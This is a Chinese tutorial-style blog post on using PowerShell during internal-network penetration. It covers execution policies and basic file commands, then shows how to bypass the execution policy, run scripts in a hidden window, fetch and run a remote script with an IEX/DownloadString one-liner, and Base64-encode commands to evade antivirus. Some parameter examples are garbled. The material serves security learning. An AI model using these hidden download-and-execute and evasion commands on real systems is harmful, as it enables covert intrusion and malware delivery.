命令窗口是打入内网后一定会遇到的,今天学习内网渗透中会遇到而且需要利用的一个命令窗口PowerShell,一起来看看吧。
PowerShell基本介绍
打开方式很简单,可以直接在系统搜索中搜PowerShell或者Win+R搜素PowerShell确定即可
它是Microsoft的新Shell,它将旧的命令提示符(CMD)功能与具有内置系统管理功能的新脚本指令集结合在一起。PowerShell就是一个升级版的cmd命令,cmd命令框能执行的它都能执行,cmd不能执行的它也能执行。
Get-Host 或者 $PSVersionTable 查看PowerShell版本
.ps1文件
一个PowerShell脚本根本而言是一个文本文件,它的扩展名就为".ps1"。该脚本可以装入一系列PowerShell命令,每一行为一个命令。
执行策略
Get-ExecutionPolicy 查看当前的执行策略。
一般默认情况下,ExecutionPolicy被设置为Restricted即“不能运行”。
Get-ExecutionPolicy一般有以下几种设置:
Restricted:脚本不能运行。
RemoteSigned:可以运行本地创建的脚本,外来下载的不行。(拥有数字证书签名的除外) 。
AllSigned:仅当脚本由受信任的发布者签名才能运行。
Unrestricted:允许任何脚本运行。
可以使用下面的cmdlet命令设置PowerShell的执行策略。(需要管理员权限)
Set-ExecutionPolicy <Policy name>
如果没开管理员可以回到开始打开的界面
PowerShell大小写并不敏感,可以随意。
运行脚本
如果想要运行一个脚本就得知道脚本的文件名以及其所在路径。例如,想要运行脚本1.ps1,路径为"D:\test\",则输入“D:\test\1.ps1”。
但是如果是在系统目录中,则可以直接 ".\1.ps1" 运行脚本。和linux基本相同。
管道
管道符号( | )将前面命令的输出作为输入给后面命令执行。如,
get-process p* | stop-process
PowerShell的常用命令
文件操作的基本命令
新建目录:New-Item whitecellclub-Item Type Directory。这是书上写的,这个命令是新建文件的,不晓得咋建目录。linux里可以使用mkdir以及md也可以创建。
新建文件:New-Item light.txt-Item Type File。
删除目录(也可以删除文本文件):Remove-Item whitecellclub。
设置文本内容:Set-Content test.txt-Value "hello,world!"。
显示文本内容:Get-Content test.txt。
追加内容:Add-Content light.txt-Value "i love you"。
清除内容:Clear-Content test.txt。
常用的执行命令
输入" help "命令可以显示帮助菜单,如下图,
按Q键退出。
这里有些下面需要用到的参数,在这里进行说明以下。
-ExecutionPolicy Bypass (-Exec Bypass) | 绕过执行安全策略 |
-WindowStyle Hidden (-W Hidden) | 隐藏窗口 |
-NonInteractive (-NonI) | 非交互模式。即PowerShell不为用户提供交互式的提示 |
-NoProfile (-NoP) | PowerShell控制台不加载当前用户的配置文件 |
-noexit | 执行后不退出Shell。 |
-NoLogo | 启动不显示版权标志的PowerShell |
绕过本地权限并执行
我们正常情况下ExecutionPolicy的权限为Restricted不可运行脚本,而一旦运行就会出现下面的情况。
但是如果我们用了下面这个命令,
PowerShell.exe -ExecutionPolicy Bypass -File test.ps1
可以看到,虽然是Restricted权限不执行脚本,但是还是绕过执行了,神奇吧。
绕过本地权限并隐藏执行
隐藏执行就是在表面上看不出来,但是后台却在执行,加上下面一段就可以
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File 1.ps1
但点击回车以后窗口直接"退出了",看似结束了,对就只是看似。所以我们再打开一个PowerShell,打开PowerShell进程看一下。
有两个进程了,也就是本身一个还有一个隐藏运行,如果不查阅进程的话谁又能知道背后还有一个在运行,想想就脊背发凉。
下载远程脚本绕过权限并隐藏执行
这个就没有测试了,格式就是下面这种,在自己的服务器上写一个脚本然后远程下载隐藏执行一起喝成,这是一套组合拳。
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('网站/1.ps1')"
利用Base64对PowerShell命令编码
使用Base64对PowerShell命令编码的目的是混淆和压缩代码,从而避免脚本中存在的一些特殊字符被杀毒软件查杀。
这里提一点,就是普通的base64编码工具编码后在PowerShell中无法解码出来,这里需要用一个GitHub上的python脚本。https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py
把需要的东西放在1.txt文件这种,python文件像下面一样运行就出base64编码了
这是服务器中1.ps1的内容。
PowerShell.exe -Exec Bypass -Enc base64编码
有服务器的可以自己用自己的服务器测试一下,挺简单的。
参考:powershell常用命令(二)_酒千殇的博客-CSDN博客_powershell常用命令
小心Powershell的位数 - frendguo - 博客园
《内网安全攻防》(徐焱 编写)